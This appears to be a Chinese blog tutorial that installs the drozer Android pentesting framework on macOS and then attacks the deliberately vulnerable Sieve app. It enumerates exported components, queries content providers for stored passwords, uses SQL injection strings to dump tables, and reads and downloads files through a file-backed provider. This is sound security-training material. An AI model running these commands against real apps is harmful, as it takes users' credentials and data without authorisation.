【MOBILE】how to install drozer on mac

  1. 1. 一:概述
  2. 2. 二:安装
    1. 2.0.1. 1.1 安装openssl
    2. 2.0.2. 1.2 编译pyOpenSSL
    3. 2.0.3. 1.3 安装其他支撑文件
    4. 2.0.4. 1.4 安装drozer
    5. 2.0.5. 1.5 runnning
  • 3. 三:Drozer入门— 获取App Package信息
    1. 3.0.1. 2.1 获取获取Android设备上的所有的安装的App的包名
    2. 3.0.2. 2.2 获取Sieve的一些基本信息
    3. 3.0.3. 2.3 Itentify The Attack Surface(确定攻击面)
    4. 3.0.4. 2.4 进一步获取Attack Surface的信息
    5. 3.0.5. 2.5 启动Activities
    6. 3.0.6. 2.6 从Content Provider中获取信息
      1. 3.0.6.0.1. 2.6.1 查找可以访问Content Provider的URI(数据泄漏)
      2. 3.0.6.0.2. 2.6.2 进行SQL注入
      3. 3.0.6.0.3. 2.6.3 从File System-Backed Content Providers获取信息
      4. 3.0.6.0.4. 2.6.4 检查Content Provider的脆弱性
  • 3.0.7. 2.7 和Services交互
  • 3.0.8. 2.8 其他常用模块
  • 一:概述

    drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。

    1. 更快的Android安全评估
      drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。
    2. 基于真机的测试
      drozer运行在Android模拟器和真实设备上,它只需要USB调试即可使用。
    3. 自动化和扩展
      drozer有很多扩展模块,你可以找到他们进行测试以发现Android安全问题。

    二:安装

    drozer下载链接:https://github.com/mwrlabs/drozer

    window和Linux下的安装要简单的多,但是在mac上安装时遇到了一些错误,因此将自己的安装步骤记录下来。

    因为是用python写的,所以Mac可以下载python.egg文件进行安装。但是想通过easy_install安装,必须拥有以下这些模块:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    cffi==1.1.2
    cryptography==0.9.3
    drozer==2.3.4
    enum34==1.0.4
    idna==2.0
    ipaddress==1.0.14
    protobuf==2.4.1
    pyasn1==0.1.8
    pycparser==2.14
    pyOpenSSL==0.13
    six==1.9.0
    Twisted==10.2.0

    而安装过程中主要的错误是由pyOpenSSL造成的。

    1.1 安装openssl

    1
    2
    $ brew uninstall openssl #if installed already
    $ brew install openssl

    1.2 编译pyOpenSSL

    不幸的是在后面安装Python.egg还是会报错,原因是Drozer需要特殊版本的openssl,我们需要下载 pyOpenSSL v0.13,然后用sed指令修复typo,具体指令:

    1
    2
    3
    4
    $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz
    $ tar xzvf pyOpenSSL-0.13.tar.gz
    $ cd pyOpenSSL-0.13
    $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c

    接下来我们build OpenSSL,这里需要指明本机中OpenSSL headers文件的位置:

    1
    2
    3
    $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include
    $ python setup.py build
    $ python setup.py install

    1.3 安装其他支撑文件

    终于进入安装说明文档中的步骤了

    1
    2
    $ sudo easy_install --allow-hosts pypi.python.org protobuf==2.4.1
    $ sudo easy_install twisted==10.2.0 #ignore any warnings/errors, it works

    1.4 安装drozer

    最后一步,install drozer

    1
    $ sudo easy_install ./drozer-2.3.4-py2.7.egg

    1.5 runnning

    此时可以在任何目录下使用drozer 命令啦!

    三:Drozer入门— 获取App Package信息

    此处以sieve.apk为例

    drozer每个模块的作用:

    获取App包信息的模块是 ** app.package.* :

    2.1 获取获取Android设备上的所有的安装的App的包名

    命令是:

    1
    run app.package.info -a com.mwr.example.sieve run app.package.list

    这条命令会把所有的App都列出来,如果想具体查找某个App可加上-f [App关键字]的参数,如查找sieve在Android设备中的包名:

    1
    run app.package.list -f sieve

    2.2 获取Sieve的一些基本信息

    1
    run app.package.info -a com.mwr.example.sieve

    2.3 Itentify The Attack Surface(确定攻击面)

    这个测试教程主要关注的是Android 固有的IPC通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的其它App。 查找可以进行Attack Surface的组件的命令:

    1
    run app.package.attacksurface com.mwr.example.sieve


    结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程。

    2.4 进一步获取Attack Surface的信息

    如进一步获取ativity组建的attack surface信息的命令是:

    1
    run app.activity.info -a com.mwr.example.sieve

    2.5 启动Activities

    上图的PWList和FileSelectActivity是exported并且不需要任何权限,我们可以用drozer启动他们,比如感觉PWList这个含金量应该大一点,所以就启动它了,命令是:

    1
    run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

    2.6 从Content Provider中获取信息

    接上2.3节,进一步获取content providerattact surface的信息的命令是:

    1
    run app.provider.info -a com.mwr.example.sieve


    从上图可以看到2.3节中两个exported的content provider的具体信息,包括名字,权限,访问路径等。

    2.6.1 查找可以访问Content Provider的URI(数据泄漏)

    从上节图中我们猜测DBContentProvider会有某种格式的数据库,但是我们不知道其中的数据是如何组织的。Content URI必须是 “content:///” 的形式,因此我们可以构造部分的content URIs来访问DBcontent Provider。 上图存在一个需要READ_KEYS和WRITE_KEYS权限才能读和写的“/Keys”的路径。
    drozer的scanner模块提供了一些方法去猜测可能存在的content URIs:

    1
    run scanner.provider.finduris -a com.mwr.example.sieve


    上图中检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。 如:

    1
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –vertical


    如上图我们获取了用户名,邮箱帐号,和Base64编码的密码字符串。

    2.6.2 进行SQL注入

    Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:

    1
    2
    3
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘”

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –selection “‘”


    上面两条命令执行后Android设备返回了非常详细的错误信息。
    使用Sql注入列出数据库中的所有数据表:

    1
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–“

    使用SQL注入列出数据表的内容:

    1
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–“

    使用SQL注入列出数据表的内容:

    1
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–“

    2.6.3 从File System-Backed Content Providers获取信息

    File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。 对于sieve来说,我们可以推测出的FileBackupProvider就是一个file system-backed content provider。 我们可以使用drozer的app.provider.read模块查看某个文件:

    1
    run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

    可以使用app.provider.download下载文件

    1
    run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db

    2.6.4 检查Content Provider的脆弱性

    检查是否有SQL注入:

    1
    run scanner.provider.injection -a com.mwr.example.sieve

    检查是否存在遍历文件的漏洞

    1
    run scanner.provider.traversal -a com.mwr.example.sieve

    总结体会:我觉得在刚开始获取了软件包的基本信息后,就先用模块scanner里面的工具扫一扫,找到一些漏洞或者利用点后再进行下一步。

    2.7 和Services交互

    获取是exported状态的services的命令:

    1
    run app.service.info -a com.mwr.example.sieve

    关于Services的模块:
    如向某个服务发送信息:

    1
    run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService –msg 1 5 3

    2.8 其他常用模块

    • shell.start 在Android设备上开启一个交互式Linux Shell
    • tools.file.upload / tools.file.downloa
    • tools.setup.busybox / tools.setup.minimalsu 安 装busybox或者minimalsu到Android设备上

    参考链接:https://blog.ropnop.com/installing-drozer-on-os-x-el-capitan/
    http://www.droidsec.cn/%E4%BD%BF%E7%94%A8drozer%E5%AF%B9android%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0/